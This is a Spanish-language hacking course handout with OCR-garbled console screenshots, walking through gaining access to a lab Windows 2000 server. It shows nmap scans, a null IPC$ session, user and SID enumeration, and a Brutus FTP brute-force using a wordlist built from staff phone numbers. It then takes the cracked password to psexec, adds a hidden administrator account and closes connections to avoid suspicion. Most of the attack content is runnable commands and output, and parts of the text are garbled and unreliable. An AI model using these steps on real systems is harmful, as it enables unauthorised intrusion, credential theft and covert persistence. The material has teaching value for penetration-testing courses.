TALLER DE GANANDO ACCESO

CURSO FASES DE UN ATAQUE.
NIVEL BASICO

Después de la fase de footprinting donde se sacé la informacidén bdsica e inicial del objetivo nos queda la
siguiente informacién:

Red intranet, local que alberga una pagina web con servicios a usuarios.
Servidor intranet Direccion IP 192.168.1.100

Usuarios posibles para acceso al portal: caludia lucia lopez, carlos alvarez, jose chaguendo. Con sus datos como
celulares y cargos lo que nos da info suficiente para luego ver si esta relacionada con claves o perfiles en el
servidor y asi poder escalar privilegios.

FASE DE SCANING

1. Nmap de rastreo de MACy de la Ip para saber que el sistema o host este vivo. Seria el siguiente comando
nmap —sP 192.168.1.100

orLap,

T - |~
C:\Documents and Settings>victor>mmap -sP 192.168.1.16@ i
Startlng Nmap 4.65 ( http://nmap.org )} at 2009-07-03 20:22 Hora est. del Pacgfic
H05t 192.168.1. 100 appears to be u

MAC Address: ©98:8C:29:1B:EA:18 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.8047 seconds

C:\Documents and Settings“victor)>

2. Hacer un mapeo de los puertos del host objetivo. Nmap 192.168.1.100



rapapeles
mbolo del sistema -|= ﬁ B

-]
C:~Documents and Settings“victor>nmap 192.168.1.120 I
Stgrtégg Nmap 4.65 ( http://nmap.org ) at 2009-07-03 20:45 Hora est. del Pacgfic

Interesting ports on 192.168.1.10@:
Not shown: 1699 closed ports

PORT STATE SERVICE

Zl/tcp open ftp

2o/t ep open smtp

80/t cp open http

118/tcp open pop3

135/tcp open msrpc

139/tcp open netbios-ssn

366/tcp  open

443/tcp open https

445/tcp open microsoft-ds
S87/tcp open submission

1000/tcp open cadlock

1025/tcp open NFS-or-11IS

1026-/tcp open LSA-or-nterm
1027/tcp open 1IIS

SGGB/tcp open PPP

3372/tcp ope msdtc

MAC Address @@:BC:Z9:1B:EA:18 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.931 seconds

Fuente rarraro Estilos Eqicion

C:\Documents and Settings\victor>_

Hacer ya un mapeo silencioso, con la herramienta nmap también, esto me daria los servicios que se estan
ejecutando en los puertos que estan en escucha, es con el comando:

nmap —P0 -sS —p 21,25,80,135,139,443,445,1000,1025,1026,3372 192.168.1.100

Simbolo del sistema

C:“Documents and Settings“Admin’nmap -PA —s8% -p 21.25,.80.118,135.13%9.366 443,445
-587.1888,10825,.10826,1827.386008,3372 192.168.1.1688

Starting Mmap 4.11 ¢ http://vuwu.insecure.orgsnmap > at 2009-87-83 21:11 Hora est
8. del Pac¥fico de SA
Binteresting ports on 192.168.1.188:
PORT STATE SERVICE
21/tcp open ftp

open =smtp

open http

open pop3

open msrpc

open nethios—ssn

open odne

open https

open microsoft—ds

open submizsion

open cadlock

open MNFS—or—118

open LSA—-or—nterm

open IIS

open

open msdtc
MAC Address: BB:BC:29:1B:EA:18 <(UMware>

Mmap finished: 1 IP address <1 host up?> scanned in B.312 seconds

C:~Documentsz and Settings“AdminX>




4. El paso siguiente seria buscar las versiones de los servicios, o sea hacer un fingerptint del objetivo. Seria
con: nmap-sV —p,25,80,135,139,443,445,1000,1025,1026,3372 192.168.1.100

Simbolo del sistema

Después es comenzar a hacer intentos de conexidn con los puertos del objetivo, para ver de que manera nos
responde y el comportamiento de los mismos ya que podriamos estar ante un HONEY POT. Los procesos de
acceso los hacemos con comandos de consola sencillos como: telnet, ftp, ssh y demas comandos
dependiendo como digo de los servicios que estén arriba y sus versiones.



mbolo del sistema - fip 192.168.1.100

C:\Documents and Settlngs\v1ctor>ftp 192.168.1. 100
Conectado a_ 192. 168
220 server-lab Microsoft FTP_Service (Version 5.0).
flUsuario (192.168.1.100: (none)): admin

1 Password requ1red for admin.
Contrasefia:
530 User admin cannot log in.
Error al iniciar la sesién.
ftp?
ftp)> user
Nombre de usuario administrador
331 Password required for administrador.
Contrasena:
530 User administrador cannot log in.

Error al iniciar la sesién.

O tratar de entrar con sesidn nula al Win2K

—_ - - . e = - m—

mbolo del sistema

icrosoft Hindows XP [Version 5.1.2600]
C) Copyrlght 1985 2001 MlcrosoFt Corp.

:\Documents and Settings\victor>net use \\192.168.1. 100\IPC$% "" ~U:""
e ha completado el comando correctamente.

C:\Documents and Settings“\victor>

Luego se puede enumerar posibles usuarios que tenga el sistema segun la lista de usuarios que tenemos
recolectados de la pagina web.

Herramienta USERDUMP: USERDUMP 192.168.1.100 usuario



[l -~ Simbolo del sistema

C:\Documents and Settings\victor>userdump 192.168.1. 164
UserDump V¥@1.01.00cpp Joe Richards (jricha3d4®@hotmail.com) January 2001

User account on 192.168.1. 102
UserID Password Age Expired Disabled PlNotRad Locked MNoExpire

Total of 6 entries read
Administrador

clperez

Invitado %]
IUSR_ADMIN-GBBP47LZ1
IWNAM_ADMIN-GBBP47LZ1I
TsInternetUser 5 %]

%]
%]
%]
S
S

SRS
HAQR&E

Total of 6 entries enumerated

C:\Documents and Settings“victor>_

Userdump vy la direccién ip sencilla me daria la lista sin mucho problema.

Luego puedo reconocer o enumerar la SID del usuario que deseo ver en este caso lo haremos con clperez
para saber si es un usuario administrador también.



Simbolo del sistema

C:\Documents and Settings\victor>user2sid 192.168.1.100 clperez
1S-1-5-21-1708537768-1897051121-839522115-1003

&N umber of subauthorities is 5
Domain is SERVER-LAB

Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

C:\Documents and Settings\victor>_

después debo sacar la info de cada usuario con la herramienta userinfo la dir ip y el nombre del usuario.



Simbolo del sistema

cuments and Setting : userinfo 192.168.1.100 administrador
UserInfo v1.5 - thor@hammer
Querying Comtroller 152,
USER IMFO
Username: Administrador

Full Mame: o ] ] o
Cuenta para la administracizn del eguip dominio

tRath:
rodr

i 1M
13117133333333133333331313131
1117133333133133333331713131131
111713333331371333333331313131
11171333333131713333333313131131
111337133313331333313311131
111337133313331333313311131
111313171333133313331331111

T




Simbolo del sistema

UserInfo w1.5 - thor@hammerofgod. com

[ Querying Controller 152.168.1.100

UnTimited

168
o]
1

troller

Le 1M
113131313333333333333333313731
1113131313333333333333333371
113131313333333333333333313731
1113131313333333333333333371
1113131313333333333333333371
113131313333333333333333313731
1113131313333333333333333371

Después de tener los usuarios del sistema con la info basica de ellos tendriamos que pasar a enumerar o
realizar rompimiento de claves con herramientas de fuerza bruta. Dichas herramientas pueden ser John de
ripper o con brutus, y de una vez usar los directorios de palabras que creamos cuando se hizo el footprinting
o los que uno pueda conseguir en internet.

Usaremos BRUTUS para este caso.



Abrimos la herramienta BRUTUS

X |Brutus - AET2 - www. hoobie. net/brutus - (January 2000)
File Tools Help

Type [HTTP Basicut] +| [ Stat | Stop | Clear
Connection O ptions

Part |80 Connections ™ 10 Timeout T I . 10 [~ Use Proxy

HTTF [Basic] Options
Method |HEAD - v FKespblive

Authentication Options

v Uze zemame [ Single User Paszz Mode |Word List =

|dser File |u&ers.t:-:t Browse Pass File |wnrds,t:-:t Browsze

Paozitive Suthentication Results

T arget | Type Uzername | Fazzwmord

lled 1 authentication plug-ins

Se debe colocar los usuarios que descubrimos seglin userdump en el archivo de users.txt y las posibles
palabras que creemos que sea las claves, como nimeros de tel. cargos, fechas, combinaciones del c=nombre
etc.



I users - Bloc de notas

fladmin
administrator

abackup
CTEerez

jechaguendo

calvarez

Luego se digitan los datos necesarios para que brutus haga el brute forcé crack password.

B words - Bloc de notas

Y archivo  Edicidn  Formato  Wer  Ayuda

1l
3103541245
43103952625
13103952525
Jdirgen2009
#chagu2009
41234567
carlos2009
aaa
abc
academia
academic
access
ada
admin
administrator
password
adrian
adrianna
aerobics
airplane
albany
albatross

I3

|€




=1
File Tools Help

Target [1521681.100 Tope [FTF ~| st | Stop | Clew |

Connection Options

Port |21 Connections ™ 10 Timeout © 10 [~ Use Prosy

FTP Optiong

Modify sequence [~ Tiyto stap connected for [Unlimite +| attempts

Authentication Options

[v Uze Usermname [~ Single User Fass Mode |word List =
User File |D:'\ITEEH'\cursns techthackin - Browse | Pags File |D:\ITECH\cursos itechihackin

Positive Authentication Results

Type Uszermarme Pazsword

después le damos start y el sistema debe romper contrasefias segun los datos de los archivos de directorios.



¢ *|Brutus - AET2 - www.hoobie. netfbrutus - (January 2000)
Fle Tools Help

Target [1521881.100 Type |FTP - Stop | Clear

Connection Options

Part |21 Cormections ™ 10 Timeout © 10 I UseProsy  Define

FTP Optiong

Maodify zequence [ Trytostay connected for [Unlimie » | attempts

Authentication Options

[v Usze Usernarme [~ Single User Pass Mode |Word List =
Uszer File |D:\|TECH'\cursos itechhhackin - Browse | Pass File |D:\ITECH\cursos itechshackin - Browse

Positive Authertication Fesults

Target Type | Uzername

Passward

192168.1.100 FTP clperez

3103541245

Opened uzer file containing 10 users.

Opened pazsward file containing 827 Pazswords.

b a=imum rumber of authentication attempts will be 8270
Engaging target 192.168.1.100 with FTF

Tying username: clperez

Positive authentication at 192.168.1.100 with Uzer : clperez Pazsword : 3103541245 (2 attempts)
b aximum total authentication attempts reduced to 7454
Trving usermame: jchaguendo

Tring username: calvarez

Trving username: admin

Trjing usernarne: administrator

Tiving userame: test

Tring username: guest

Tying uzername; root

Tring usernarne: backup

Tying username:

“Warning : Too many consecutive auth sequence enors whilst receiving password prompt - Szsuming wser is inwalid
Skipping uzer

b a=irmum total authentication attempts reduced to 6637
Al lists exhausted

Dizengaged targe

Aqui vemos que ha detectado el password del user clperez, con ese usuario podemos ingresar al sistema 'y

tratar de escalar privilegios en el sistema.

Lo haremos con el comando net use.

T | I, Y .

Simbolo del sistema

Se ha completado el comando correctamente.

C:“Documents and Settings“victor>_

g:\Documents and Settings\victor?>net use “\\server-lab:\c$% Suser:clperez 31835412




Luego debo asegurar la conexion creando una unidad mapeada para no crear sospechas.

=+ Simbolo del sistema

C:“Documents and Settings“victor»>net use y: \\server-lab\c$
Se ha completado el comando correctamente.

C:“Documents and Settings“victor>y:

Y:s>di
El véTumen de la unidad ¥ no tiene etiqueta.
1 ndmero de serie del volumen es: CC76-DZCB

Directorio de Y:\

28/06,2009
Q3,07 ,2009
28/06,2009
28/06,2009
B3/07 /2009
B3/07 /2009

IR> Archivos de programa
IR> Documents and Settings
IR> Inetpu

IR> MDaemon

IR> ublica

IR> INDOWS

2.2

@ bytes
S2.267.008 bytes libres

TOLDDLTD

archivos
6 dirs 5

<
<
<
<
<
<
.6

Y N>

El paso siguiente es remotamente crear un ambiente de trabajo sostenido lo haremos con el comando

psexec que nos permite ejecutar comandos remotos.

=+ \\server-lab: cmd

C:\Documents and Settings\victor>psexec “\server-lab cmd

PsExec v1.84 - Execute processes remotely
fllCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - www.sysinternals.com

icrosoft Hindows 20080 [Versidén 5.00.2195]
C) Copyright 1985-1999 Microsoft Corp.

M
(
C:NHINDOWSNsystem32>

Después debemos escalar privilegios creando un usuario nuevo con privilegios altos o de administrador, lo

haremos con el comando net user y net localgroup.



e Viserver-lab: emd

C:\Documents and Settings“victor>psexec “\\server-lab cmd
PsExec v1.84 - Execute processes remotely

Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - www.sysinternals.com

rosoft Hindows 2008 [Versién 5.00.2195]
Copyright 1985-1999 Microsoft Corp.

NWINDOWSNs ystem32>net user alvareze password /add
e ha completado el comando correctamente.

C:\HINDOWSNsystem32>net localgroup administradores alvarezc ~add
e ha completado el comando correctamente.

C:\WINDOWSN\system32>_

Debo para ir terminando cerrar todas las conexiones

sv Simbolo del sistema

C:\Documents and Settings\victor>net use
Se registraran las nuevas conexiones.

Local Remoto

\\server-lab\c$ Red de Microsoft HWindows
N\\server-lab\c$ Red de Microsoft Windows
Se ha completado el comando correctamente.

C:N\Documents and Settings“victor>net use ¥ /delete
Tiene estas conexiones remotas:

Z: N\\server-lab\c$
\\server-lab\c$
Si continda, se cancelaran las conexiones.

iDesea continuar esta operacién? (S/N) [N]1: s
Se ha completado el comando correctamente.

C:\Documents and Settings“\victor>»




Finalmente para realizar el acceso nos logueamos con este nuevo usuario para pasar desapercibidos. Nos
logueamos en el acceso que determinamos para penetrar. O sea penetrar con privilegios.

. \iserver-lab: cmd

ZiN>di
El véTumen de la unidad Z no tiene etiqueta.
l nimero de serie del volumen es: CC76-D2CB

Directorio de

28./06/2009
B3./87 /2009
28./06/2009
28/06/2009
03,87 /2009

Archivos de programa
Documents and Settings
Inetpu

MDaemon

.m. ublica

.m. INDOWS

@ archivos

6 dirs 5.

DODODOD

C:“\Documents and Settings\victor>psexec “\“\server-lab -u alvarezc -p password cmd

PsExec v1.84 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Hindows 2000 [Versién 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:“\WINDOHWSNsystem32>net session

Equipo Nombre de usuario Tipo de cliente Abre tiempo de
inactividad

ALVAREZC Windows 2002 Serwv 4 09:00: 00
“\SERVERITECH CLPEREZ Windows 2002 Serwv 0 ©02:13:05

Se ha completado el comando correctamente.

después de este paso donde ya me loguee con el usuario creado con privilegios de administracion y mapear
nuevamente una unidad para poder accesar el sistema con este usuario, de ahi para adelante el equipo es
nuestro.



